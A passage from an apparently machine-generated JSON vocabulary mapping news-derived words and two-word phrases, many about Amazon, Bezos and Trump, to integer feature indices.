63634,\n  \"reasons ranging\": 63635,\n  \"longer novel\": 63636,\n  \"crisis era\": 63637,\n  \"administrations held\": 63638,\n  \"crack\": 63639,\n  \"google adtech\": 63640,\n  \"considering approaches\": 63641,\n  \"n0 ba\": 63642,\n  \"justice conducted\": 63643,\n  \"headquarters feb\": 63644,\n  \"dozen coroner\": 63645,\n  \"catalog senders\": 63646,\n  \"realize\": 63647,\n  \"extensive supply\": 63648,\n  \"thanks partly\": 63649,\n  \"amazon incentives\": 63650,\n  \"maxsa home\": 63651,\n  \"determined willy\": 63652,\n  \"ceo told\": 63653,\n  \"massive stock\": 63654,\n  \"supporters hate\": 63655,\n  \"william stance\": 63656,\n  \"state parties\": 63657,\n  \"worksharing activity\": 63658,\n  \"brings25\": 63659,\n  \"congress passes\": 63660,\n  \"schwietzer\": 63661,\n  \"entitled sex\": 63662,\n  \"amazon place\": 63663,\n  \"advice 2018\": 63664,\n  \"kovach\": 63665,\n  \"cozy crony\": 63666,\n  \"research advisors\": 63667,\n  \"progressives bangin\": 63668,\n  \"cognitive\": 63669,\n  \"service revenues\": 63670,\n  \"city specialized\": 63671,\n  \"2018 fox\": 63672,\n  \"random hairpieces\": 63673,\n  \"face records\": 63674,\n  \"administration stated\": 63675,\n  \"recession rises\": 63676,\n  \"sainsbury\": 63677,\n  \"hiking socks\": 63678,\n  \"vintage hardware\": 63679,\n  \"energy issues\": 63680,\n  \"cut sanity\": 63681,\n  \"day operations\": 63682,\n  \"europe know\": 63683,\n  \"followed reports\": 63684,\n  \"rich history\": 63685,\n  \"official representative\": 63686,\n  \"unlikely allies\": 63687,\n  \"flow yields\": 63688,\n  \"norton\": 63689,\n  \"texas intermediate\": 63690,\n  \"overall market\": 63691,\n  \"gain opinion\": 63692,\n  \"m\\u025bnz\": 63693,\n  \"glenn morelli\": 63694,\n  \"political discussion\": 63695,\n  \"popular marijuana\": 63696,\n  \"behavior longtime\": 63697,\n  \"pacified\": 63698,\n  \"tr pff\": 63699,\n  \"derangement syndrome\": 63700,\n  \"grabber\": 63701,\n  \"make calls\": 63702,\n  \"gmt david\": 63703,\n  \"required services\": 63704,\n  \"cutters savings\": 63705,\n  \"economic advocacy\": 63706,\n  \"picture best\": 63707,\n  \"indian companies\": 63708,\n  \"mature\": 63709,\n  \"people recognize\": 63710,\n  \"phones honestly\": 63711,\n  \"uber starbucks\": 63712,\n  \"delhi nov\": 63713,\n  \"eventually amazon\": 63714,\n  \"enterprise deregulation\": 63715,\n  \"look bradley\": 63716,\n  \"man land\": 63717,\n  \"amazon trucks\": 63718,\n  \"chairman walker\": 63719,\n  \"enforcement dropped\": 63720,\n  \"vox matt\": 63721,\n  \"cnbc special\": 63722,\n  \"diapered trump\": 63723,\n  \"soon kavanaugh\": 63724,\n  \"votes comfortably\": 63725,\n  \"strongly urge\": 63726,\n  \"recent jedi\": 63727,\n  \"gruber\": 63728,\n  \"downplay\": 63729,\n  \"players feds\": 63730,\n  \"ideal\": 63731,\n  \"908\": 63732,\n  \"alexa gadget\": 63733,\n  \"yangon myanmar\": 63734,\n  \"angelo public\": 63735,\n  \"haley\": 63736,\n  \"reconstructed\": 63737,\n  \"names marty\": 63738,\n  \"temporarily depress\": 63739,\n  \"repeal vote\": 63740,\n  \"neighbors pushback\": 63741,\n  \"fundamentalists\": 63742,\n  \"wing\": 63743,\n  \"amazon life\": 63744,\n  \"candlelight vigil\": 63745,\n  \"buffalo news\": 63746,\n  \"seattle affordable\": 63747,\n  \"valuable company\": 63748,\n  \"courts trump\": 63749,\n  \"shirts ebay\": 63750,\n  \"indicts disclaimer\": 63751,\n  \"maclear urban\": 63752,\n  \"fedex truck\": 63753,\n  \"softon iran\": 63754,\n  \"pleaded guilty\": 63755,\n  \"uu9ssaa17kk3 gvodujpo\": 63756,\n  \"tennessee home\": 63757,\n  \"sends strong\": 63758,\n  \"started tweeting\": 63759,\n  \"trump acting\": 63760,\n  \"ingraham program\": 63761,\n  \"sumita\": 63762,\n  \"trump dustup\": 63763,\n  \"keir gilchrist\": 63764,\n  \"thought florida\": 63765,\n  \"used evan\": 63766,\n  \"fund buys\": 63767,\n  \"relationship unless\": 63768,\n  \"returning representatives\": 63769,\n  \"964 shares\": 63770,\n  \"government money\": 63771,\n  \"offering guests\": 63772,\n  \"reported 280\": 63773,\n  \"years 2019\": 63774,\n  \"announces record\": 63775,\n  \"laser work\": 63776,\n  \"carlos nobre\": 63777,\n  \"lvmh\": 63778,\n  \"oft cited\": 63779,\n  \"single corporation\": 63780,\n  \"career true\": 63781,\n  \"dangerous rock\": 63782,\n  \"nasdaq futures\": 63783,\n  \"criminal actions\": 63784,\n  \"morning great\": 63785,\n  \"intelligence services\": 63786,\n  \"state scores\": 63787,\n  \"amazon recruitment\": 63788,\n  \"egypt chess\": 63789,\n  \"jeff_gluck2\": 63790,\n  \"handmaid\": 63791,\n  \"actually pulloutdecision\": 63792,\n  \"netflixs dirty\": 63793,\n  \"tblack bloomberg\": 63794,\n  \"figure price\": 63795,\n  \"options including\": 63796,\n  \"img_panoramicref\": 63797,\n  \"aggressive regulatory\": 63798,\n  \"enforcement trailer\": 63799,\n  \"phased withdrawal\": 63800,\n  \"americanprogress org\": 63801,\n  \"willhave wisdom\": 63802,\n  \"paradise produces\": 63803,\n  \"slaughtering\": 63804,\n  \"brands corporations\": 63805,\n  \"say inequities\": 63806,\n  \"bong\": 63807,\n  \"iii cincinnati\": 63808,\n  \"ethics authorities\": 63809,\n  \"ribisi\": 63810,\n  \"association attacked\": 63811,\n  \"joannftzptrck\": 63812,\n  \"butte county\": 63813,\n  \"kids concentration\": 63814,\n  \"post abramowitz\": 63815,\n  \"sources trump\": 63816,\n  \"european partners\": 63817,\n  \"rebuilding storm\": 63818,\n  \"hope looking\": 63819,\n  \"immigration centers\": 63820,\n  \"function little\": 63821,\n  \"businessweek\": 63822,\n  \"howorth offered\": 63823,\n  \"ap sen\": 63824,\n  \"review books\": 63825,\n  \"filings amazon\": 63826,\n  \"really doesn\": 63827,\n  \"basically exposing\": 63828,\n  \"bud super\": 63829,\n  \"email instructions\": 63830,\n  \"intervene\": 63831,\n  \"dollars personally\": 63832,\n  \"apple learned\": 63833,\n  \"grew weary\": 63834,\n  \"halpern fox\": 63835,\n  \"samin nosrat\": 63836,\n  \"administration tax\": 63837,\n  \"brothers john\": 63838,\n  \"vmware announcing\": 63839,\n  \"aboutthe\": 63840,\n  \"hd fuse\": 63841,\n  \"signature line\": 63842,\n  \"equality college\": 63843,\n  \"owners sue\": 63844,\n  \"zlotow\": 63845,\n  \"retain ownership\": 63846,\n  \"dozen white\": 63847,\n  \"bezos burned\": 63848,\n  \"alienate large\": 63849,\n  \"companies involved\": 63850,\n  \"2018 aclu\": 63851,\n  \"shay president\": 63852,\n  \"china lost\": 63853,\n  \"sir brian\": 63854,\n  \"prime video\": 63855,\n  \"poll cuomo\": 63856,\n  \"manager guggenheim\": 63857,\n  \"lasser wrote\": 63858,\n  \"giant dominant\": 63859,\n  \"schumer adding\": 63860,\n  \"hoops sagrado\": 63861,\n  \"amazon fuels\": 63862,\n  \"china brazil\": 63863,\n  \"moretz\": 63864,\n  \"cumulatively killed\": 63865,\n  \"operate away\": 63866,\n  \"culture matt\": 63867,\n  \"finances carrie\": 63868,\n  \"institute matthew\": 63869,\n  \"sessions walks\": 63870,\n  \"park national\": 63871,\n  \"defense innovation\": 63872,\n  \"worry pic\": 63873,\n  \"doctors\": 63874,\n  \"oftentimes elites\": 63875,\n  \"steve sack\": 63876,\n  \"campaign mode\": 63877,\n  \"build hq2\": 63878,\n  \"sent questionnaires\": 63879,\n  \"officials treat\": 63880,\n  \"refuted allegations\": 63881,\n  \"amazon fell\": 63882,\n  \"336x336 getty_173218731_200015422000928060_388160\": 63883,\n  \"picture book\": 63884,\n  \"villains list\": 63885,\n  \"solid jobs\": 63886,\n  \"incoherent\": 63887,\n  \"weak spots\": 63888,\n  \"asians\": 63889,\n  \"immediately available\": 63890,\n  \"divorce agreement\": 63891,\n  \"foreign revenue\": 63892,\n  \"story vc\": 63893,\n  \"actress stormy\": 63894,\n  \"furnishings stores\": 63895,\n  \"skewered bezos\": 63896,\n  \"contrast photo\": 63897,\n  \"germany rocks\": 63898,\n  \"cuomo support\": 63899,\n  \"act sex\": 63900,\n  \"america exhibition\": 63901,\n  \"textile\": 63902,\n  \"zoo\": 63903,\n  \"says companies\": 63904,\n  \"jay nordlinger\": 63905,\n  \"sauce saga\": 63906,\n  \"state capitol\": 63907,\n  \"jenna\": 63908,\n  \"150 points\": 63909,\n  \"rafe morrissey\": 63910,\n  \"fbi\": 63911,\n  \"adds hq2\": 63912,\n  \"trump decided\": 63913,\n  \"staff cnn\": 63914,\n  \"dispiriting\": 63915,\n  \"leaked\": 63916,\n  \"suburb bezos\": 63917,\n  \"multiple major\": 63918,\n  \"progressive senator\": 63919,\n  \"carolina\": 63920,\n  \"brewer nightly\": 63921,\n  \"headlinetext\": 63922,\n  \"better production\": 63923,\n  \"mariotti tweeted\": 63924,\n  \"hopes consumers\": 63925,\n  \"commercial rapprochement\": 63926,\n  \"simulation game\": 63927,\n  \"lindstrom\": 63928,\n  \"situation writes\": 63929,\n  \"volatility additionally\": 63930,\n  \"death amazon\": 63931,\n  \"goldman sees\": 63932,\n  \"normally 165\": 63933,\n  \"loss incurred\": 63934,\n  \"nationalist\": 63935,\n  \"service declining\": 63936,\n  \"stated softly\": 63937,\n  \"resumed\": 63938,\n  \"ocean success\": 63939,\n  \"energy amazon\": 63940,\n  \"manufacturing process\": 63941,\n  \"weakness going\": 63942,\n  \"standing feud\": 63943,\n  \"madonna\": 63944,\n  \"auto refresh\": 63945,\n  \"history repeat\": 63946,\n  \"submission governments\": 63947,\n  \"lynch latest\": 63948,\n  \"bar\": 63949,\n  \"aclu shed\": 63950,\n  \"experienced warehouse\": 63951,\n  \"gizmodo reported\": 63952,\n  \"client emirates\": 63953,\n  \"beat apple\": 63954,\n  \"tx owns\": 63955,\n  \"scamp\": 63956,\n  \"appropriate credit\": 63957,\n  \"reconsider dams\": 63958,\n  \"asylum southern\": 63959,\n  \"wagers\": 63960,\n  \"important fodder\": 63961,\n  \"ftc warns\": 63962,\n  \"post broke\": 63963,\n  \"buys corporate\": 63964,\n  \"democratic leaders\": 63965,\n  \"gonna leave\": 63966,\n  \"pompeo unveiled\": 63967,\n  \"save trees\": 63968,\n  \"ji\": 63969,\n  \"100 years\": 63970,\n  \"commander\": 63971,\n  \"bannerhasatag\": 63972,\n  \"lowered service\": 63973,\n  \"paper edition\": 63974,\n  \"bring untold\": 63975,\n  \"uber faced\": 63976,\n  \"bidens\": 63977,\n  \"guwahati\": 63978,\n  \"minutes tossing\": 63979,\n  \"remaining decidedly\": 63980,\n  \"pledge isn\": 63981,\n  \"invaluable charms\": 63982,\n  \"prominence thanks\": 63983,\n  \"tax protectionism\": 63984,\n  \"randymh\": 63985,\n  \"wrestling entertainment\": 63986,\n  \"administration announced\": 63987,\n  \"medical care\": 63988,\n  \"damn delicious\": 63989,\n  \"president closest\": 63990,\n  \"took fun\": 63991,\n  \"satellites surveillance\": 63992,\n  \"large brain\": 63993,\n  \"hydroelectric\": 63994,\n  \"concern regarding\": 63995,\n  \"investigations industry\": 63996,\n  \"best inferential\": 63997,\n  \"syndrome ratings\": 63998,\n  \"1999 chris\": 63999,\n  \"dynamic sectors\": 64000,\n  \"chances pretty\": 64001,\n  \"muilenburg later\": 64002,\n  \"ami investigation\": 64003,\n  \"face trump\": 64004,\n  \"service company\": 64005,\n  \"extensive flooding\": 64006,\n  \"pineapple\": 64007,\n  \"interventionist approach\": 64008,\n  \"leadership predicted\": 64009,\n  \"providence\": 64010,\n  \"increasing series\": 64011,\n  \"successes speak\": 64012,\n  \"mawr\": 64013,\n  \"25th\": 64014,\n  \"gratification\": 64015,\n  \"banks\": 64016,\n  \"plan 143\": 64017,\n  \"blue air\": 64018,\n  \"jumped\": 64019,\n  \"additional locations\": 64020,\n  \"inviting cities\": 64021,\n  \"amazon loss\": 64022,\n  \"life love\": 64023,\n  \"taking action\": 64024,\n  \"level read\": 64025,\n  \"star concept\": 64026,\n  \"finding inexpensive\": 64027,\n  \"long worker\": 64028,\n  \"stop binging\": 64029,\n  \"short hike\": 64030,\n  \"barriers onthe\": 64031,\n  \"saint cloud\": 64032,\n  \"cities bending\": 64033,\n  \"day kaitlan\": 64034,\n  \"form deadly\": 64035,\n  \"shortcut\": 64036,\n  \"jr columnist\": 64037,\n  \"operator bloomin\": 64038,\n  \"report 51554477721\": 64039,\n  \"government introduces\": 64040,\n  \"coca\": 64041,\n  \"siriously delicious\": 64042,\n  \"sizeable portion\": 64043,\n  \"interim schuster\": 64044,\n  \"taken recent\": 64045,\n  \"accused kidnapper\": 64046,\n  \"president routinely\": 64047,\n  \"suitcase turkey\": 64048,\n  \"amazon fall\": 64049,\n  \"wage employers\": 64050,\n  \"leary\": 64051,\n  \"respectively barclays\": 64052,\n  \"daily assault\": 64053,\n  \"isn rattling\": 64054,\n  \"bbc guardian\": 64055,\n  \"salivating\": 64056,\n  \"heavy traffic\": 64057,\n  \"lawyer michael\": 64058,\n  \"second section\": 64059,\n  \"experimentative episode\": 64060,\n  \"bezoz photo\": 64061,\n  \"bolsonaro answers\": 64062,\n  \"burns\": 64063,\n  \"especially european\": 64064,\n  \"america best\": 64065,\n  \"rand howard\": 64066,\n  \"new kentucky\": 64067,\n  \"president thanks\": 64068,\n  \"chinese vice\": 64069,\n  \"momentous confirmation\": 64070,\n  \"luring\": 64071,\n  \"collins seat\": 64072,\n  \"false testimony\": 64073,\n  \"media flawed\": 64074,\n  \"cover operating\": 64075,\n  \"indian island\": 64076,\n  \"prince mohammed\": 64077,\n  \"lim kee\": 64078,\n  \"plants 2018\": 64079,\n  \"linskey julie\": 64080,\n  \"nationwide ceo\": 64081,\n  \"truth president\": 64082,\n  \"billion amazon\": 64083,\n  \"stakes 371\": 64084,\n  \"supply chain\": 64085,\n  \"chin\": 64086,\n  \"moment donald\": 64087,\n  \"continued claiming\": 64088,\n  \"pushing ahead\": 64089,\n  \"review networks\": 64090,\n  \"administration unveiled\": 64091,\n  \"disease disaster\": 64092,\n  \"president understand\": 64093,\n  \"100x100 getty_173218731_200015422000928060_388160\": 64094,\n  \"exploitative\": 64095,\n  \"story online\": 64096,\n  \"sap black\": 64097,\n  \"private trust\": 64098,\n  \"cork catholicedchat\": 64099,\n  \"wants google\": 64100,\n  \"jarring accent\": 64101,\n  \"childhood growing\": 64102,\n  \"economic message\": 64103,\n  \"natural disaster\": 64104,\n  \"techn\": 64105,\n  \"emphasizing\": 64106,\n  \"president comments\": 64107,\n  \"plate magazine\": 64108,\n  \"passed balance\": 64109,\n  \"european intellectual\": 64110,\n  \"usually outdid\": 64111,\n  \"dependents\": 64112,\n  \"links report\": 64113,\n  \"having trillion\": 64114,\n  \"girls collection\": 64115,\n  \"turns\": 64116,\n  \"loss study\": 64117,\n  \"mayor appeared\": 64118,\n  \"massive union\": 64119,\n  \"roughly 100\": 64120,\n  \"beauty products\": 64121,\n  \"stop peddlers\": 64122,\n  \"tax case\": 64123,\n  \"patrick hedren\": 64124,\n  \"07017b\": 64125,\n  \"leading cloud\": 64126,\n  \"platform ellison\": 64127,\n  \"median rent\": 64128,\n  \"tabloid publisher\": 64129,\n  \"kid outgrows\": 64130,\n  \"popular vaxxed\": 64131,\n  \"property cases\": 64132,\n  \"abhorrent conflicts\": 64133,\n  \"testing positive\": 64134,\n  \"governor\": 64135,\n  \"longer histories\": 64136,\n  \"janice min\": 64137,\n  \"faire donald\": 64138,\n  \"trump denounced\": 64139,\n  \"insider building\": 64140,\n  \"confirms receipt\": 64141,\n  \"harsh\": 64142,\n  \"amazon causing\": 64143,\n  \"yielding power\": 64144,\n  \"319\": 64145,\n  \"break hubbard\": 64146,\n  \"observes editor\": 64147,\n  \"vows emergency\": 64148,\n  \"gardens douglaston\": 64149,\n  \"bite\": 64150,\n  \"problems\": 64151,\n  \"losses president\": 64152,\n  \"buymedia bu0yhealth\": 64153,\n  \"long dark\": 64154,\n  \"powerful commerce\": 64155,\n  \"microzon\": 64156,\n  \"deliveries involving\": 64157,\n  \"fail\": 64158,\n  \"conservative george\": 64159,\n  \"mollie hemingway\": 64160,\n  \"companies experienced\": 64161,\n  \"company juul\": 64162,\n  \"186 000\": 64163,\n  \"try act\": 64164,\n  \"fit antique\": 64165,\n  \"regulation explained\": 64166,\n  \"seattle followed\": 64167,\n  \"walmart fedex\": 64168,\n  \"brathwaite chief\": 64169,\n  \"priscilla\": 64170,\n  \"point undercutting\": 64171,\n  \"trump storms\": 64172,\n  \"long career\": 64173,\n  \"progressive tech\": 64174,\n  \"internet worth\": 64175,\n  \"paul orwell\": 64176,\n  \"included hat\": 64177,\n  \"certain organizations\": 64178,\n  \"news publication\": 64179,\n  \"verdict winner\": 64180,\n  \"team lines\": 64181,\n  \"brazil interior\": 64182,\n  \"mechanisms plunge\": 64183,\n  \"court nyt\": 64184,\n  \"dino palmiotto\": 64185,\n  \"fiction essays\": 64186,\n  \"live mics\": 64187,\n  \"league clubs\": 64188,\n  \"election analysts\": 64189,\n  \"qualcomm nasdaq\": 64190,\n  \"messages revealing\": 64191,\n  \"feet ac\": 64192,\n  \"films free\": 64193,\n  \"retail workers\": 64194,\n  \"surrounding area\": 64195,\n  \"near perfect\": 64196,\n  \"4chan postings\": 64197,\n  \"becker confirmed\": 64198,\n  \"enforcement especially\": 64199,\n  \"years residents\": 64200,\n  \"taft\": 64201,\n  \"amazon likecompany\": 64202,\n  \"showing remorse\": 64203,\n  \"really scandalised\": 64204,\n  \"novey\": 64205,\n  \"1pm\": 64206,\n  \"post featured\": 64207,\n  \"ev sales\": 64208,\n  \"hbo series\": 64209,\n  \"damning report\": 64210,\n  \"bloomberg businessweek\": 64211,\n  \"baker street\": 64212,\n  \"450 square\": 64213,\n  \"loathes jeff\": 64214,\n  \"messy trade\": 64215,\n  \"news anchors\": 64216,\n  \"royalty\": 64217,\n  \"friendliness\": 64218,\n  \"pluralist\": 64219,\n  \"var f8\": 64220,\n  \"previous couple\": 64221,\n  \"giant ceo\": 64222,\n  \"quoted\": 64223,\n  \"nostrums\": 64224,\n  \"sorting centers\": 64225,\n  \"proposed fare\": 64226,\n  \"338 million\": 64227,\n  \"democrats drew\": 64228,\n  \"annual ai\": 64229,\n  \"sentiment trump\": 64230,\n  \"beliefs imagine\": 64231,\n  \"america think\": 64232,\n  \"time delays\": 64233,\n  \"council lander\": 64234,\n  \"foreign sites\": 64235,\n  \"allocated\": 64236,\n  \"faded considerably\": 64237,\n  \"877\": 64238,\n  \"seattle retail\": 64239,\n  \"immediately reached\": 64240,\n  \"fare wage\": 64241,\n  \"citing poor\": 64242,\n  \"post pubescent\": 64243,\n  \"justifiably\": 64244,\n  \"thank\": 64245,\n  \"seminal novel\": 64246,\n  \"visit naturalnews\": 64247,\n  \"includes trump\": 64248,\n  \"ugly ones\": 64249,\n  \"104\": 64250,\n  \"posted blog\": 64251,\n  \"vermont\": 64252,\n  \"removing stock\": 64253,\n  \"mcgrath amazon\": 64254,\n  \"view associated\": 64255,\n  \"faux monopolies\": 64256,\n  \"everybody expectations\": 64257,\n  \"homogenization\": 64258,\n  \"vacancies\": 64259,\n  \"proxy advisor\": 64260,\n  \"maiden visit\": 64261,\n  \"delivery usps\": 64262,\n  \"trump racist\": 64263,\n  \"bias sen\": 64264,\n  \"ice technology\": 64265,\n  \"cheapen\": 64266,\n  \"including royal\": 64267,\n  \"antifa melts\": 64268,\n  \"mary riedel\": 64269,\n  \"hearing says\": 64270,\n  \"hasclass\": 64271,\n  \"recent race\": 64272,\n  \"trade wars\": 64273,\n  \"properly\": 64274,\n  \"cinch deal\": 64275,\n  \"bank pussy\": 64276,\n  \"financial review\": 64277,\n  \"earlier collected\": 64278,\n  \"sing\": 64279,\n  \"entire day\": 64280,\n  \"investor hosted\": 64281,\n  \"billionaire according\": 64282,\n  \"showed repeated\": 64283,\n  \"growing cities\": 64284,\n  \"ukrainian journalist\": 64285,\n  \"nganang\": 64286,\n  \"cost 700\": 64287,\n  \"new lines\": 64288,\n  \"grassroots political\": 64289,\n  \"component merck\": 64290,\n  \"barry hotstar\": 64291,\n  \"role\": 64292,\n  \"doing susan\": 64293,\n  \"zuker says\": 64294,\n  \"trump flagship\": 64295,\n  \"currentvideocollection videoid\": 64296,\n  \"155x90\": 64297,\n  \"dolliole\": 64298,\n  \"1100 type\": 64299,\n  \"misunderstood\": 64300,\n  \"cn current_video_collection\": 64301,\n  \"relationships pillpack\": 64302,\n  \"agcom\": 64303,\n  \"toilet breaks\": 64304,\n  \"advances\": 64305,\n  \"plunkett\": 64306,\n  \"belief backed\": 64307,\n  \"license allows\": 64308,\n  \"nbc reported\": 64309,\n  \"coat\": 64310,\n  \"twitter wonkette\": 64311,\n  \"eventually jeff\": 64312,\n  \"pivot trump\": 64313,\n  \"perceive amazon\": 64314,\n  \"week repeated\": 64315,\n  \"content madeline\": 64316,\n  \"buy significantly\": 64317,\n  \"basically master\": 64318,\n  \"today growth\": 64319,\n  \"astronomical rise\": 64320,\n  \"excoriate\": 64321,\n  \"connection\": 64322,\n  \"trillium book\": 64323,\n  \"giants failed\": 64324,\n  \"dead converge\": 64325,\n  \"number refugees\": 64326,\n  \"legal lodging\": 64327,\n  \"amazon offered\": 64328,\n  \"implores voters\": 64329,\n  \"big target\": 64330,\n  \"trump office\": 64331,\n  \"marks amazon\": 64332,\n  \"small fraction\": 64333,\n  \"comments donald\": 64334,\n  \"service money\": 64335,\n  \"trump spoke\": 64336,\n  \"man disappointed\": 64337,\n  \"frankie star\": 64338,\n  \"butterflies\": 64339,\n  \"deductible royalty\": 64340,\n  \"economy politics\": 64341,\n  \"large social\": 64342,\n  \"gluttons\": 64343,\n  \"1610et copyright\": 64344,\n  \"twitter microsoft\": 64345,\n  \"kristinn\": 64346,\n  \"losing post\": 64347,\n  \"opportunity bravo\": 64348,\n  \"cfra\": 64349,\n  \"power lorded\": 64350,\n  \"retailers pursued\": 64351,\n  \"food pet\": 64352,\n  \"rates rise\": 64353,\n  \"consumer health\": 64354,\n  \"trump perfume\": 64355,\n  \"meet citizen\": 64356,\n  \"bezos mingled\": 64357,\n  \"new season\": 64358,\n  \"country china\": 64359,\n  \"usps regularly\": 64360,\n  \"delays closings\": 64361,\n  \"buyers pockets\": 64362,\n  \"ipt readers\": 64363,\n  \"dime\": 64364,\n  \"portrays pre\": 64365,\n  \"eve edelheit\": 64366,\n  \"dollar watermark\": 64367,\n  \"charging sellers\": 64368,\n  \"stake unenroll\": 64369,\n  \"daniel mcfaul\": 64370,\n  \"burdens\": 64371,\n  \"bribed governments\": 64372,\n  \"president dwight\": 64373,\n  \"simple form\": 64374,\n  \"remarks saying\": 64375,\n  \"titan twitter\": 64376,\n  \"interesting want\": 64377,\n  \"nakedly obvious\": 64378,\n  \"track trump\": 64379,\n  \"green ticked\": 64380,\n  \"forecast wait\": 64381,\n  \"tennessee valley\": 64382,\n  \"seth\": 64383,\n  \"trump poses\": 64384,\n  \"groceries amazon\": 64385,\n  \"katie kramer\": 64386,\n  \"leadership role\": 64387,\n  \"time worrying\": 64388,\n  \"winds wh\": 64389,\n  \"chocolate stores\": 64390,\n  \"strong education\": 64391,\n  \"1531868602 mod\": 64392,\n  \"unproven cancer\": 64393,\n  \"cloud behemoth\": 64394,\n  \"jinping\": 64395,\n  \"worker activism\": 64396,\n  \"subordinates\": 64397,\n  \"socio\": 64398,\n  \"obama hire\": 64399,\n  \"dedicated pipelines\": 64400,\n  \"zone amazon\": 64401,\n  \"pants subway\": 64402,\n  \"global chief\": 64403,\n  \"virginia bid\": 64404,\n  \"plan prime\": 64405,\n  \"shift tech\": 64406,\n  \"expansion projects\": 64407,\n  \"john oliver\": 64408,\n  \"connecttweetlinkedincommentemailmore days\": 64409,\n  \"landmark\": 64410,\n  \"selma blair\": 64411,\n  \"apparently stores\": 64412,\n  \"ending microsoft\": 64413,\n  \"ads spending\": 64414,\n  \"taking unfair\": 64415,\n  \"ig report\": 64416,\n  \"dipped slightly\": 64417,\n  \"inside american\": 64418,\n  \"emotionally toxic\": 64419,\n  \"danger\": 64420,\n  \"crushing\": 64421,\n  \"shares 243\": 64422,\n  \"southpaw\": 64423,\n  \"internet analyst\": 64424,\n  \"wrote citing\": 64425,\n  \"dark relationship\": 64426,\n  \"electorate\": 64427,\n  \"new ftc\": 64428,\n  \"eurozone unemployment\": 64429,\n  \"punching\": 64430,\n  \"jason dzubow\": 64431,\n  \"won really\": 64432,\n  \"retiree medical\": 64433,\n  \"reliance\": 64434,\n  \"guard trial\": 64435,\n  \"bonniemurphy\": 64436,\n  \"daviddtss\": 64437,\n  \"goods instead\": 64438,\n  \"congressed\": 64439,\n  \"identities private\": 64440,\n  \"revenue grab\": 64441,\n  \"amazon scraps\": 64442,\n  \"stripes\": 64443,\n  \"profitero\": 64444,\n  \"500 doffed\": 64445,\n  \"availabe\": 64446,\n  \"session herera\": 64447,\n  \"virginia political\": 64448,\n  \"city andrew\": 64449,\n  \"relocates\": 64450,\n  \"radicalised ideas\": 64451,\n  \"competitors learn\": 64452,\n  \"latest novel\": 64453,\n  \"story investors\": 64454,\n  \"jtreece406\": 64455,\n  \"retail distribution\": 64456,\n  \"donald prince\": 64457,\n  \"tech types\": 64458,\n  \"higher saying\": 64459,\n  \"accessibility security\": 64460,\n  \"games online\": 64461,\n  \"tampa\": 64462,\n  \"sets start\": 64463,\n  \"bezos compensation\": 64464,\n  \"trump responds\": 64465,\n  \"carrying gun\": 64466,\n  \"big oil\": 64467,\n  \"2017 vice\": 64468,\n  \"poison weren\": 64469,\n  \"rebounded\": 64470,\n  \"pennsylvania police\": 64471,\n  \"repeatedly used\": 64472,\n  \"anti regulatory\": 64473,\n  \"creates 130\": 64474,\n  \"appeals\": 64475,\n  \"arms predicting\": 64476,\n  \"discussed missions\": 64477,\n  \"prioritizes\": 64478,\n  \"booth wedding\": 64479,\n  \"comments fbi\": 64480,\n  \"focusing large\": 64481,\n  \"raising taxes\": 64482,\n  \"google announced\": 64483,\n  \"takes place\": 64484,\n  \"leaving packages\": 64485,\n  \"tolling sites\": 64486,\n  \"largest single\": 64487,\n  \"victorias secret\": 64488,\n  \"investing insights\": 64489,\n  \"experience sanders\": 64490,\n  \"idina menzel\": 64491,\n  \"states year\": 64492,\n  \"greene good\": 64493,\n  \"580m acquisition\": 64494,\n  \"kids don\": 64495,\n  \"outsized sway\": 64496,\n  \"deeply personal\": 64497,\n  \"gorelick president\": 64498,\n  \"pecker bezos\": 64499,\n  \"higher federal\": 64500,\n  \"rigging news\": 64501,\n  \"crime alice\": 64502,\n  \"little credit\": 64503,\n  \"happy satanist\": 64504,\n  \"advisors told\": 64505,\n  \"app donald\": 64506,\n  \"content experience\": 64507,\n  \"bezos published\": 64508,\n  \"billionaires fat\": 64509,\n  \"occasions trump\": 64510,\n  \"accords\": 64511,\n  \"advertisers pushing\": 64512,\n  \"cut did\": 64513,\n  \"postpartum\": 64514,\n  \"suppress evidence\": 64515,\n  \"city shortlist\": 64516,\n  \"police apparatus\": 64517,\n  \"alienating customers\": 64518,\n  \"enchanted\": 64519,\n  \"hurting amazon\": 64520,\n  \"turn things\": 64521,\n  \"drivel lipstick\": 64522,\n  \"liberty\": 64523,\n  \"greater shipments\": 64524,\n  \"cost pricing\": 64525,\n  \"google powers\": 64526,\n  \"menu despite\": 64527,\n  \"california employing\": 64528,\n  \"kept quiet\": 64529,\n  \"mid atlantic\": 64530,\n  \"forbes new\": 64531,\n  \"sports business\": 64532,\n  \"afloat critics\": 64533,\n  \"zachary elsea\": 64534,\n  \"submission\": 64535,\n  \"bank officials\": 64536,\n  \"teams porsche\": 64537,\n  \"democrats doesn\": 64538,\n  \"business outcomes\": 64539,\n  \"california wildfires\": 64540,\n  \"american taxpayer\": 64541,\n  \"shopping\": 64542,\n  \"concocted\": 64543,\n  \"amazon propaganda\": 64544,\n  \"indication wall\": 64545,\n  \"bezos reportedly\": 64546,\n  \"quigley\": 64547,\n  \"marchers\": 64548,\n  \"coworkers wrists\": 64549,\n  \"claims google\": 64550,\n  \"movie capital\": 64551,\n  \"html __source\": 64552,\n  \"amzn\": 64553,\n  \"men new\": 64554,\n  \"pressing amzn\": 64555,\n  \"rep cummings\": 64556,\n  \"usps john\": 64557,\n  \"documentary hillary\": 64558,\n  \"tom alberg\": 64559,\n  \"called firecracker\": 64560,\n  \"moser hey\": 64561,\n  \"thiel\": 64562,\n  \"taken stand\": 64563,\n  \"press fortune\": 64564,\n  \"ruining germany\": 64565,\n  \"lethal autonomous\": 64566,\n  \"incredible amounts\": 64567,\n  \"leak convenient\": 64568,\n  \"trump hatred\": 64569,\n  \"president unfit\": 64570,\n  \"blood soaked\": 64571,\n  \"development credit\": 64572,\n  \"giant\": 64573,\n  \"hearted\": 64574,\n  \"remiss\": 64575,\n  \"doses think\": 64576,\n  \"city teamsters\": 64577,\n  \"maybe\": 64578,\n  \"pics sanchez\": 64579,\n  \"fulfilment centre\": 64580,\n  \"dean\": 64581,\n  \"continuous\": 64582,\n  \"highly secure\": 64583,\n  \"ideology google\": 64584,\n  \"substantial public\": 64585,\n  \"ceremonial\": 64586,\n  \"apology jordan\": 64587,\n  \"true claim\": 64588,\n  \"documented issues\": 64589,\n  \"twitter dem\": 64590,\n  \"instability brennan\": 64591,\n  \"strong local\": 64592,\n  \"chanel products\": 64593,\n  \"opposite amazon\": 64594,\n  \"best path\": 64595,\n  \"demographics onsumers\": 64596,\n  \"deals verizon\": 64597,\n  \"intense evil\": 64598,\n  \"realistically trust\": 64599,\n  \"seller financing\": 64600,\n  \"society 